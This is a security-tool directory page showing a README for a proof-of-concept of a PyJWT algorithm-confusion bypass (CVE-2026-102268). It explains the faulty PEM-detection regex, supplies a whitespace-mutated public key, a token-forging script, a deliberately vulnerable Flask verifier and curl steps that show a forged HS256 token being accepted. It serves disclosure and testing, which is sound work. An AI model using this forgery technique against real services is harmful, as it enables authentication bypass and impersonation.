Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-102268-poc — Exploitability PoC for CVE-2026-102-268 (PyJWT Asymmetric-PEM detection bypass). | Kitploit
Tools/GitHubGitHub/covepseng/cve-2026-102268-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCryptographyAuthenticationLearning & Education
GitHubcovepseng/cve-2026-102268-poc

cve-2026-102268-poc

Exploitability PoC for CVE-2026-102-268 (PyJWT Asymmetric-PEM detection bypass).

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass

Exploitability analysis result: the root cause is confirmed and end-to-end exploitation is reproducible. A whitespace-mutated PEM public key bypasses PyJWT's is_pem_format() guard and is accepted as a valid HMAC secret, enabling full HS256 token forgery against any verifier that allow-lists RS256 alongside HS256. See Analysis for details.


Table of Contents

  • Overview
  • Affected Versions
  • Root Cause
  • Analysis
  • Repository Structure
  • Requirements
  • Usage
  • Expected Output
  • References
  • Disclaimer

Overview

CVE-2026-102268 is an algorithm-confusion vulnerability in PyJWT. Before using any key as an HMAC secret, HMACAlgorithm.prepare_key() calls is_pem_format() to reject keys that look like a PEM-encoded asymmetric key or certificate — the standard defense against RS256/HS256 confusion attacks.

is_pem_format() is a single regex that requires an exact \r?\n adjacency between the key body and the BEGIN/END markers. cryptography's own PEM loader has no such requirement. A PEM file with marker-adjacent whitespace, CR-only line terminators, or folded onto a single line is parsed as a perfectly valid key by cryptography.load_pem_public_key(), while is_pem_format() returns False on the identical bytes.

The consequence: the asymmetric-key guard never fires, the public key is accepted as an HMAC secret, and anyone who holds that public key — which is public by definition — can mint a valid HS256 token for any verifier that allow-lists both RS256 and HS256.

This repository contains a minimal Flask verifier and a reproduction key to confirm that claim end-to-end.


Affected Versions

Affected rangeFixed in
< 2.14.02.14.0

Root Cause

The vulnerable check in jwt/utils.py (all versions before 2.14.0):

# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

Gating on it, in jwt/algorithms.py:

# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

The regex's [- ] separators only tolerate a single dash or space directly adjacent to the marker dashes. Any other whitespace sitting between the key body's trailing newline and the END marker — an indent, a stray \r, a re-wrapped single line — makes the match fail, so is_pem_format() reports False on a file cryptography parses without complaint.

The fix (commit 8b4e233, released in 2.14.0) replaces the regex with a one-pass scanner over the supported BEGIN/END marker set that does not depend on exact newline adjacency — closing this bypass and, in the same change, a related ReDoS in the same function (CVE-2026-102270).


Analysis

public_key.pem in this repository is an ordinary 2048-bit RSA public key with one change: the -----END PUBLIC KEY----- line is indented by four spaces.

1wIDAQAB
    -----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout   # parses cleanly, no warning

Running utils.py confirms the bypass directly against the library, independent of the Flask app:

$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}

jwt.encode(..., PUBLIC_KEY, algorithm="HS256") succeeds. On a patched PyJWT (≥ 2.14.0), this same call raises InvalidKeyError — is_pem_format() correctly flags the file as a PEM key regardless of the indent, and the HMAC path refuses it. Here, it doesn't: the four-space indent is enough to make the regex miss, and the public key bytes are accepted as an ordinary HMAC secret.

app.py reproduces the real-world precondition — a verifier whose algorithms allow-list mixes the asymmetric and symmetric algorithm:

decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])

A token forged with utils.py's approach, submitted to /verify, is accepted: /verify returns 200 and the forged claims, for a token nobody holding the private key ever signed.


Repository Structure

cve-2026-102268-poc/
├── Dockerfile              # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml     # Single-service compose for the verifier
├── requirements.txt        # Flask, Werkzeug, PyJWT==2.4.0
├── app.py                  # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py                # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem          # RSA public key, END marker indented by 4 spaces
└── README.md

Requirements

ToolVersionNotes
Podman≥ 4.0Docker works too
Python≥ 3.9Only for running utils.py locally
curlanyFor exercising /verify directly

Usage

1. Build and start the container

podman-compose up -d

Wait a few seconds, then confirm the service is up:

curl -si http://localhost:8080/verify -X POST \
  -H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400   (missing token, but the service is reachable)

2. Forge a token with the public key

python utils.py

This signs {"some": "payload"} with public_key.pem using HS256 and prints the resulting JWT — the forgery primitive. Copy the encoded token.

3. Submit the forged token to the verifier

curl -s http://localhost:8080/verify \
  -H 'Content-Type: application/json' \
  -d '{"token": "<forged-jwt-here>"}'

4. Cleanup

podman-compose down

Confirming the fix

Repeat step 2 with PyJWT>=2.14.0 installed in place of the pinned 2.4.0 in requirements.txt. jwt.encode() raises InvalidKeyError before a token is ever produced.


Expected Output

============================================================
 CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
 Key      : public_key.pem (RSA public key, END marker indented)
 Target   : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...

[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
    {"message": "Access granted", "payload": {"some": "payload"}}

    is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
    guard in HMACAlgorithm.prepare_key() never fired.
============================================================

References

Download Tool